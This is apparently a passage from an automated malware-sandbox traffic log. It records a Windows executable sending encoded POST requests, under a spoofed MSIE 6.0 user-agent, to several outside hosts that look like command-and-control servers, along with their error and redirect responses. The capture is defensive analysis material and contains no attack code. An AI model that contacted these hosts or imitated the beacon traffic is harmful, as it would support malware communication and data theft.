Oct 25, 2024 11:18:04.705147028 CEST	1236	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 25 Oct 2024 09:18:04 GMT Content-Type: text/html Content-Length: 2843 Connection: keep-alive Vary: Accept-Encoding Last-Modified: Thu, 26 Jul 2018 17:13:08 GMT ETag: "b1b-571ea1be9f445" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 45 55 43 2d 4a 50 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 58 53 45 52 56 45 52 20 49 6e 63 2e 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 4e 44 45 58 2c 46 4f 4c 4c 4f 57 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2a 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="ja"><head><meta charset="EUC-JP" /><title>403 Forbidden</title><meta name="copyright" content="Copyright XSERVER Inc."><meta name="robots" content="INDEX,FOLLOW" /><meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0"><style type="text/css">* { margin: 0; padding: 0;}img { border: 0;}ul { padding-left: 2em;}html { overflow-y: scroll; background: #3b79b7;}body { font-family: "", Meiryo, " ", "MS PGothic", " Pro W3", "Hiragino Kaku Gothic Pro", sans-serif; margin: 0; line-height: 1.4; font-size: 75%; text-align: center; color: white;}h1 { font-size: 24px; font-weight: bold;}h1 { font-weight: bold; line-height: 1; padding-bottom: 20px; font-family: Helvetica, sans-serif;}h2 { text-align: center; font-weight: bold; font-size: 27px;}p { text-align: center; font-size: 14px;
Oct 25, 2024 11:18:04.705188036 CEST	212	IN	Data Raw: 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 7d 0a 2e 65 78 70 6c 61 69 6e 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 Data Ascii: margin: 0; padding: 0; color: white;}.explain { border-top: 1px solid #fff; border-bottom: 1px solid #fff; line-height: 1.5; margin: 30px auto; padding: 17px;}#cause { text-
Oct 25, 2024 11:18:04.705225945 CEST	1236	IN	Data Raw: 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 7d 0a 23 63 61 75 73 65 20 6c 69 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 36 36 3b 0a 7d 0a 68 33 20 7b 0a 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 31 70 78 3b 0a 20 20 20 20 66 6f Data Ascii: align: left;}#cause li { color: #666;}h3 { letter-spacing: 1px; font-weight: bold; padding: 0;}#white_box { margin: 15px auto 0; background-color: white;}/* ==================== =============
Oct 25, 2024 11:18:04.705260992 CEST	404	IN	Data Raw: a4 c8 a4 f2 b0 d5 cc a3 a4 b7 a4 de a4 b9 a1 a3 3c 2f 70 3e 0a 20 20 20 20 3c 68 33 3e b0 ca b2 bc a4 ce a4 e8 a4 a6 a4 ca b8 b6 b0 f8 a4 ac b9 cd a4 a8 a4 e9 a4 ec a4 de a4 b9 a1 a3 3c 2f 68 33 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 77 68 Data Ascii: </p> <h3></h3> <div id="white_box"> <div id="cause"> <ul> <li></li>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	52779	137.118.26.67	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:05.698489904 CEST	801	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 572 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.fnw.us Cache-Control: no-cache Data Raw: 50 42 6d 59 2b 74 71 51 75 56 51 41 51 67 56 50 2f 53 72 63 6e 68 30 6a 6a 79 76 4b 6f 61 43 31 72 72 44 54 4f 73 4b 36 69 64 61 54 55 72 39 35 55 76 77 6c 37 66 52 6a 46 67 74 56 5a 51 69 70 49 41 50 61 2f 72 72 46 7a 48 7a 4c 71 41 31 6b 76 73 63 75 71 54 74 52 73 4e 4d 50 4c 75 4e 62 70 73 55 2b 6c 30 43 53 6e 4d 51 48 48 64 70 74 30 4a 76 70 7a 4e 44 51 69 7a 32 47 58 77 44 4a 77 42 4f 34 39 2f 46 70 4f 7a 50 61 4c 37 30 35 30 31 4a 4b 4a 6e 41 6c 6d 58 6d 50 6e 37 4a 35 64 41 57 53 4b 47 6b 47 76 79 55 6c 45 6d 6c 43 73 71 66 4f 50 6f 61 33 61 55 53 46 58 6f 2f 2b 30 77 61 46 49 71 6b 6a 2b 38 59 52 39 62 53 78 55 64 49 37 53 51 59 44 53 5a 7a 6a 33 6b 51 6b 77 6c 76 52 6c 43 68 74 42 53 45 6a 57 56 63 6e 55 4e 42 74 77 2b 77 61 43 43 33 6d 67 62 44 64 72 38 4d 53 77 31 6e 37 62 47 62 4d 39 4e 6f 74 63 77 49 43 6a 36 51 4c 70 57 46 79 4f 70 62 7a 4a 58 2b 31 79 4e 68 52 47 4a 70 73 77 63 4b 64 51 72 30 30 50 4b 75 66 7a 6d 58 61 46 74 62 33 45 46 43 50 66 59 2f 34 49 78 42 30 57 78 6a 50 6d 34 [TRUNCATED] Data Ascii: PBmY+tqQuVQAQgVP/Srcnh0jjyvKoaC1rrDTOsK6idaTUr95Uvwl7fRjFgtVZQipIAPa/rrFzHzLqA1kvscuqTtRsNMPLuNbpsU+l0CSnMQHHdpt0JvpzNDQiz2GXwDJwBO49/FpOzPaL70501JKJnAlmXmPn7J5dAWSKGkGvyUlEmlCsqfOPoa3aUSFXo/+0waFIqkj+8YR9bSxUdI7SQYDSZzj3kQkwlvRlChtBSEjWVcnUNBtw+waCC3mgbDdr8MSw1n7bGbM9NotcwICj6QLpWFyOpbzJX+1yNhRGJpswcKdQr00PKufzmXaFtb3EFCPfY/4IxB0WxjPm4/5D84WeP5QoOofh8xA9HjyMvagra1GjmgbN5h5qau4op07XbFpdEhfa/YDbGmylZrkwhVMR4BE0ORibZdBDGp1u2kkGieWuqkvlP8S1HQXSUuj77RSZcBwfzjh/g0m0JNVXLATgZg7LNqL5k2ZqH3THUtnJAAt4SSSftnZRaUHG9fJcFMv2YbJOPmLE/U+2pQ3ogcr2aoScT8WaMh+s2Mhze8wI6mqY2ZkI+oZKaKw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	52780	192.124.249.20	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:05.699345112 CEST	800	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 568 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.dgmna.com Cache-Control: no-cache Data Raw: 45 64 2b 71 79 2f 39 61 77 46 54 49 68 51 64 34 33 69 78 63 45 59 6a 64 78 79 74 56 69 77 62 74 6f 31 4b 50 4e 34 51 61 70 47 67 2b 65 61 42 46 51 76 51 2f 51 64 45 41 2b 6f 54 58 6f 4f 68 51 61 33 61 55 50 2b 6d 56 55 39 47 31 63 35 48 54 44 6c 46 46 46 4f 44 69 63 33 30 51 48 58 30 58 56 30 39 77 68 34 64 52 42 48 6d 64 68 4f 63 34 69 64 48 75 4f 42 63 49 37 62 49 62 39 59 41 7a 5a 55 6d 44 4b 58 4f 30 46 62 58 73 4e 70 4e 39 63 43 49 66 53 72 46 72 4c 64 5a 42 64 4d 4b 69 61 38 58 52 6b 4f 61 6e 34 42 42 62 5a 74 36 77 5a 46 4f 64 78 51 54 6e 74 66 41 4e 69 75 32 30 64 75 76 53 56 6f 4f 2f 72 43 46 79 4d 72 58 30 44 39 33 6e 46 79 76 59 79 36 39 39 6f 74 59 77 49 75 54 59 58 66 48 52 53 4a 51 62 76 4e 6b 6b 30 6f 36 41 78 51 70 38 2f 76 48 44 53 7a 31 32 6e 47 7a 2f 6a 4b 4d 6a 39 45 42 78 63 31 47 6f 46 4a 6a 78 46 56 56 58 6d 65 72 45 6d 6f 32 72 76 37 47 64 77 37 6d 39 61 7a 75 62 6a 30 70 65 5a 66 5a 39 2f 70 4d 31 7a 4d 75 45 37 36 56 68 71 36 62 52 4d 48 7a 63 66 6b 65 4a 7a 53 57 72 6c 6b [TRUNCATED] Data Ascii: Ed+qy/9awFTIhQd43ixcEYjdxytViwbto1KPN4QapGg+eaBFQvQ/QdEA+oTXoOhQa3aUP+mVU9G1c5HTDlFFFODic30QHX0XV09wh4dRBHmdhOc4idHuOBcI7bIb9YAzZUmDKXO0FbXsNpN9cCIfSrFrLdZBdMKia8XRkOan4BBbZt6wZFOdxQTntfANiu20duvSVoO/rCFyMrX0D93nFyvYy699otYwIuTYXfHRSJQbvNkk0o6AxQp8/vHDSz12nGz/jKMj9EBxc1GoFJjxFVVXmerEmo2rv7Gdw7m9azubj0peZfZ9/pM1zMuE76Vhq6bRMHzcfkeJzSWrlkxhzX3+g+S3fL6Uz3LAhTFBWQ7ITtn5hf5YWJ6VodVcANoCwy04+NEw84xx72e+m3dhJR+XxvkgH4Q8UQ6iUlxrCimAssWYOb6lWA3PMDmT1UOcNlLEy6R0RXlWzy57Ur6vpOz5zoQ5eGJSUoqskgQfPxFOq6yEBRywIo+M/ppnF+NZ0bAut6IhktIW4L5KztYZdC8gxAo+QqWioWt5r2x0H4J7J/cYE4kS6w==
Oct 25, 2024 11:18:06.370141983 CEST	384	IN	HTTP/1.1 301 Moved Permanently Server: Sucuri/Cloudproxy Date: Fri, 25 Oct 2024 09:18:06 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive X-Sucuri-ID: 20020 Location: https://www.dgmna.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:18:06.416591883 CEST	800	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 568 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.dgmna.com Cache-Control: no-cache Data Raw: 45 64 2b 71 79 2f 39 61 77 46 54 49 68 51 64 34 33 69 78 63 45 59 6a 64 78 79 74 56 69 77 62 74 6f 31 4b 50 4e 34 51 61 70 47 67 2b 65 61 42 46 51 76 51 2f 51 64 45 41 2b 6f 54 58 6f 4f 68 51 61 33 61 55 50 2b 6d 56 55 39 47 31 63 35 48 54 44 6c 46 46 46 4f 44 69 63 33 30 51 48 58 30 58 56 30 39 77 68 34 64 52 42 48 6d 64 68 4f 63 34 69 64 48 75 4f 42 63 49 37 62 49 62 39 59 41 7a 5a 55 6d 44 4b 58 4f 30 46 62 58 73 4e 70 4e 39 63 43 49 66 53 72 46 72 4c 64 5a 42 64 4d 4b 69 61 38 58 52 6b 4f 61 6e 34 42 42 62 5a 74 36 77 5a 46 4f 64 78 51 54 6e 74 66 41 4e 69 75 32 30 64 75 76 53 56 6f 4f 2f 72 43 46 79 4d 72 58 30 44 39 33 6e 46 79 76 59 79 36 39 39 6f 74 59 77 49 75 54 59 58 66 48 52 53 4a 51 62 76 4e 6b 6b 30 6f 36 41 78 51 70 38 2f 76 48 44 53 7a 31 32 6e 47 7a 2f 6a 4b 4d 6a 39 45 42 78 63 31 47 6f 46 4a 6a 78 46 56 56 58 6d 65 72 45 6d 6f 32 72 76 37 47 64 77 37 6d 39 61 7a 75 62 6a 30 70 65 5a 66 5a 39 2f 70 4d 31 7a 4d 75 45 37 36 56 68 71 36 62 52 4d 48 7a 63 66 6b 65 4a 7a 53 57 72 6c 6b [TRUNCATED] Data Ascii: Ed+qy/9awFTIhQd43ixcEYjdxytViwbto1KPN4QapGg+eaBFQvQ/QdEA+oTXoOhQa3aUP+mVU9G1c5HTDlFFFODic30QHX0XV09wh4dRBHmdhOc4idHuOBcI7bIb9YAzZUmDKXO0FbXsNpN9cCIfSrFrLdZBdMKia8XRkOan4BBbZt6wZFOdxQTntfANiu20duvSVoO/rCFyMrX0D93nFyvYy699otYwIuTYXfHRSJQbvNkk0o6AxQp8/vHDSz12nGz/jKMj9EBxc1GoFJjxFVVXmerEmo2rv7Gdw7m9azubj0peZfZ9/pM1zMuE76Vhq6bRMHzcfkeJzSWrlkxhzX3+g+S3fL6Uz3LAhTFBWQ7ITtn5hf5YWJ6VodVcANoCwy04+NEw84xx72e+m3dhJR+XxvkgH4Q8UQ6iUlxrCimAssWYOb6lWA3PMDmT1UOcNlLEy6R0RXlWzy57Ur6vpOz5zoQ5eGJSUoqskgQfPxFOq6yEBRywIo+M/ppnF+NZ0bAut6IhktIW4L5KztYZdC8gxAo+QqWioWt5r2x0H4J7J/cYE4kS6w==
Oct 25, 2024 11:18:06.571887970 CEST	384	IN	HTTP/1.1 301 Moved Permanently Server: Sucuri/Cloudproxy Date: Fri, 25 Oct 2024 09:18:06 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive X-Sucuri-ID: 20020 Location: https://www.dgmna.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	52781	188.114.97.3	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:05.737833023 CEST	773	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 540 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ftchat.com Cache-Control: no-cache Data Raw: 70 38 56 31 44 6a 61 47 77 6c 52 69 71 53 6b 4f 6b 55 67 50 4a 39 6b 6f 78 6c 6c 57 57 4b 6e 76 79 72 58 49 69 54 74 54 6d 6e 46 33 48 71 76 56 56 48 65 4b 6d 39 70 6e 54 43 38 54 39 49 66 53 66 6d 72 77 72 73 61 6c 6d 59 4b 4b 58 70 2f 74 2b 47 45 4f 4d 75 4a 6b 6c 49 76 79 61 48 48 6f 49 46 31 64 6c 5a 53 54 76 35 31 76 2b 51 31 38 49 4b 52 79 4f 38 6d 58 6c 71 52 7a 51 7a 62 69 48 6a 51 36 44 70 68 57 37 79 4e 34 4d 35 4c 79 57 52 43 36 39 61 6f 66 54 4c 48 4a 2f 38 38 33 66 64 4e 37 34 79 6b 7a 35 44 71 4e 43 2b 6e 6b 39 4e 59 32 63 6a 70 43 4d 64 65 35 6f 72 2b 48 51 31 64 77 61 38 65 71 55 48 4c 32 4e 2f 2f 32 37 6b 4e 6f 64 79 67 34 48 67 35 36 44 45 6b 4b 70 49 6f 57 63 4b 45 77 71 6b 55 6a 4a 78 7a 42 36 36 50 57 73 70 75 6e 64 32 4b 77 30 77 49 78 4b 34 61 53 59 36 37 57 62 79 50 6f 53 6c 44 75 6c 49 49 6d 70 34 39 4b 4d 58 4e 63 6d 4d 59 53 6c 4e 56 46 4b 78 6b 63 59 78 73 34 4b 37 6a 68 65 56 6e 63 44 51 64 6d 50 34 65 50 75 43 41 74 71 2b 56 58 57 2f 2b 4f 4f 33 64 4f 42 41 41 39 58 48 [TRUNCATED] Data Ascii: p8V1DjaGwlRiqSkOkUgPJ9koxllWWKnvyrXIiTtTmnF3HqvVVHeKm9pnTC8T9IfSfmrwrsalmYKKXp/t+GEOMuJklIvyaHHoIF1dlZSTv51v+Q18IKRyO8mXlqRzQzbiHjQ6DphW7yN4M5LyWRC69aofTLHJ/883fdN74ykz5DqNC+nk9NY2cjpCMde5or+HQ1dwa8eqUHL2N//27kNodyg4Hg56DEkKpIoWcKEwqkUjJxzB66PWspund2Kw0wIxK4aSY67WbyPoSlDulIImp49KMXNcmMYSlNVFKxkcYxs4K7jheVncDQdmP4ePuCAtq+VXW/+OO3dOBAA9XHq0Z5hNpoVicbeLHDeMf8KyUoJnblKouqXruOM7165zNCIcRxiDg6n3lMEpR8hbiU+EBIlMiBWMvU6UmaLFt0PoSfOMJ8kmCKTAbAV2NHSeOX6YxibaBCd+uPkf3o+SSp5dZUzRTn8V5Q8bb59sI2wh+e5/D7dDW7MQUEx5ztHHnX1739NqNG1tWrTErKZ4wDYhIF2NTQ==
Oct 25, 2024 11:18:06.432360888 CEST	932	IN	HTTP/1.1 521 Date: Fri, 25 Oct 2024 09:18:06 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2tyJAqDqt8T0bVL8KQyIjF5aMjPZ7Liu9U8LN8jeEAfZZCpE8O1fitnlK0VSmL5cTOWJhq2iaSyvVFdYfNjSEEJ6sRKIm3qLE6%2F6ynlky3UkdIZpK5f0BvKe5O1UX1PiFQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d811e090869e5b9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1172&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=773&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 31 Data Ascii: error code: 521
Oct 25, 2024 11:18:06.440705061 CEST	773	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 540 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ftchat.com Cache-Control: no-cache Data Raw: 70 38 56 31 44 6a 61 47 77 6c 52 69 71 53 6b 4f 6b 55 67 50 4a 39 6b 6f 78 6c 6c 57 57 4b 6e 76 79 72 58 49 69 54 74 54 6d 6e 46 33 48 71 76 56 56 48 65 4b 6d 39 70 6e 54 43 38 54 39 49 66 53 66 6d 72 77 72 73 61 6c 6d 59 4b 4b 58 70 2f 74 2b 47 45 4f 4d 75 4a 6b 6c 49 76 79 61 48 48 6f 49 46 31 64 6c 5a 53 54 76 35 31 76 2b 51 31 38 49 4b 52 79 4f 38 6d 58 6c 71 52 7a 51 7a 62 69 48 6a 51 36 44 70 68 57 37 79 4e 34 4d 35 4c 79 57 52 43 36 39 61 6f 66 54 4c 48 4a 2f 38 38 33 66 64 4e 37 34 79 6b 7a 35 44 71 4e 43 2b 6e 6b 39 4e 59 32 63 6a 70 43 4d 64 65 35 6f 72 2b 48 51 31 64 77 61 38 65 71 55 48 4c 32 4e 2f 2f 32 37 6b 4e 6f 64 79 67 34 48 67 35 36 44 45 6b 4b 70 49 6f 57 63 4b 45 77 71 6b 55 6a 4a 78 7a 42 36 36 50 57 73 70 75 6e 64 32 4b 77 30 77 49 78 4b 34 61 53 59 36 37 57 62 79 50 6f 53 6c 44 75 6c 49 49 6d 70 34 39 4b 4d 58 4e 63 6d 4d 59 53 6c 4e 56 46 4b 78 6b 63 59 78 73 34 4b 37 6a 68 65 56 6e 63 44 51 64 6d 50 34 65 50 75 43 41 74 71 2b 56 58 57 2f 2b 4f 4f 33 64 4f 42 41 41 39 58 48 [TRUNCATED] Data Ascii: p8V1DjaGwlRiqSkOkUgPJ9koxllWWKnvyrXIiTtTmnF3HqvVVHeKm9pnTC8T9IfSfmrwrsalmYKKXp/t+GEOMuJklIvyaHHoIF1dlZSTv51v+Q18IKRyO8mXlqRzQzbiHjQ6DphW7yN4M5LyWRC69aofTLHJ/883fdN74ykz5DqNC+nk9NY2cjpCMde5or+HQ1dwa8eqUHL2N//27kNodyg4Hg56DEkKpIoWcKEwqkUjJxzB66PWspund2Kw0wIxK4aSY67WbyPoSlDulIImp49KMXNcmMYSlNVFKxkcYxs4K7jheVncDQdmP4ePuCAtq+VXW/+OO3dOBAA9XHq0Z5hNpoVicbeLHDeMf8KyUoJnblKouqXruOM7165zNCIcRxiDg6n3lMEpR8hbiU+EBIlMiBWMvU6UmaLFt0PoSfOMJ8kmCKTAbAV2NHSeOX6YxibaBCd+uPkf3o+SSp5dZUzRTn8V5Q8bb59sI2wh+e5/D7dDW7MQUEx5ztHHnX1739NqNG1tWrTErKZ4wDYhIF2NTQ==
Oct 25, 2024 11:18:06.680474043 CEST	941	IN	HTTP/1.1 521 Date: Fri, 25 Oct 2024 09:18:06 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=crwn7mAQfkN8HWlN2m3o88D3EDziNqB4NIXTK1Y9%2BY0rZbxoDXy2ncWCbnPvQoyOtWhW6H8LkZ07Cp6K4Uf7NHgEXtDPy59j6CVYfjinVwsWXW33veJlMnLMRgrWfkHylg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d811e0aa95fe5b9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1171&sent=3&recv=5&lost=0&retrans=0&sent_bytes=932&recv_bytes=1546&delivery_rate=1240788&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 31 Data Ascii: error code: 521
Oct 25, 2024 11:18:06.705161095 CEST	773	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 540 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ftchat.com Cache-Control: no-cache Data Raw: 70 38 56 31 44 6a 61 47 77 6c 52 69 71 53 6b 4f 6b 55 67 50 4a 39 6b 6f 78 6c 6c 57 57 4b 6e 76 79 72 58 49 69 54 74 54 6d 6e 46 33 48 71 76 56 56 48 65 4b 6d 39 70 6e 54 43 38 54 39 49 66 53 66 6d 72 77 72 73 61 6c 6d 59 4b 4b 58 70 2f 74 2b 47 45 4f 4d 75 4a 6b 6c 49 76 79 61 48 48 6f 49 46 31 64 6c 5a 53 54 76 35 31 76 2b 51 31 38 49 4b 52 79 4f 38 6d 58 6c 71 52 7a 51 7a 62 69 48 6a 51 36 44 70 68 57 37 79 4e 34 4d 35 4c 79 57 52 43 36 39 61 6f 66 54 4c 48 4a 2f 38 38 33 66 64 4e 37 34 79 6b 7a 35 44 71 4e 43 2b 6e 6b 39 4e 59 32 63 6a 70 43 4d 64 65 35 6f 72 2b 48 51 31 64 77 61 38 65 71 55 48 4c 32 4e 2f 2f 32 37 6b 4e 6f 64 79 67 34 48 67 35 36 44 45 6b 4b 70 49 6f 57 63 4b 45 77 71 6b 55 6a 4a 78 7a 42 36 36 50 57 73 70 75 6e 64 32 4b 77 30 77 49 78 4b 34 61 53 59 36 37 57 62 79 50 6f 53 6c 44 75 6c 49 49 6d 70 34 39 4b 4d 58 4e 63 6d 4d 59 53 6c 4e 56 46 4b 78 6b 63 59 78 73 34 4b 37 6a 68 65 56 6e 63 44 51 64 6d 50 34 65 50 75 43 41 74 71 2b 56 58 57 2f 2b 4f 4f 33 64 4f 42 41 41 39 58 48 [TRUNCATED] Data Ascii: p8V1DjaGwlRiqSkOkUgPJ9koxllWWKnvyrXIiTtTmnF3HqvVVHeKm9pnTC8T9IfSfmrwrsalmYKKXp/t+GEOMuJklIvyaHHoIF1dlZSTv51v+Q18IKRyO8mXlqRzQzbiHjQ6DphW7yN4M5LyWRC69aofTLHJ/883fdN74ykz5DqNC+nk9NY2cjpCMde5or+HQ1dwa8eqUHL2N//27kNodyg4Hg56DEkKpIoWcKEwqkUjJxzB66PWspund2Kw0wIxK4aSY67WbyPoSlDulIImp49KMXNcmMYSlNVFKxkcYxs4K7jheVncDQdmP4ePuCAtq+VXW/+OO3dOBAA9XHq0Z5hNpoVicbeLHDeMf8KyUoJnblKouqXruOM7165zNCIcRxiDg6n3lMEpR8hbiU+EBIlMiBWMvU6UmaLFt0PoSfOMJ8kmCKTAbAV2NHSeOX6YxibaBCd+uPkf3o+SSp5dZUzRTn8V5Q8bb59sI2wh+e5/D7dDW7MQUEx5ztHHnX1739NqNG1tWrTErKZ4wDYhIF2NTQ==
Oct 25, 2024 11:18:06.947803974 CEST	946	IN	HTTP/1.1 521 Date: Fri, 25 Oct 2024 09:18:06 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iJOBSkUxaxeFZXjLhztG2mwkFXlyXNgIvCOCzdEk7%2B3yFSBN%2BrAl5TLMSqJMm49sbFzbZMT5%2BAjiIBulw5OfWK9xNOi3gIJ0BDj7CNrZmAkRbr17p9Ja8J6o7FT8Yfh5ng%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d811e0c5a6ce5b9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1173&sent=5&recv=7&lost=0&retrans=0&sent_bytes=1873&recv_bytes=2319&delivery_rate=1240788&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 31 Data Ascii: error code: 521
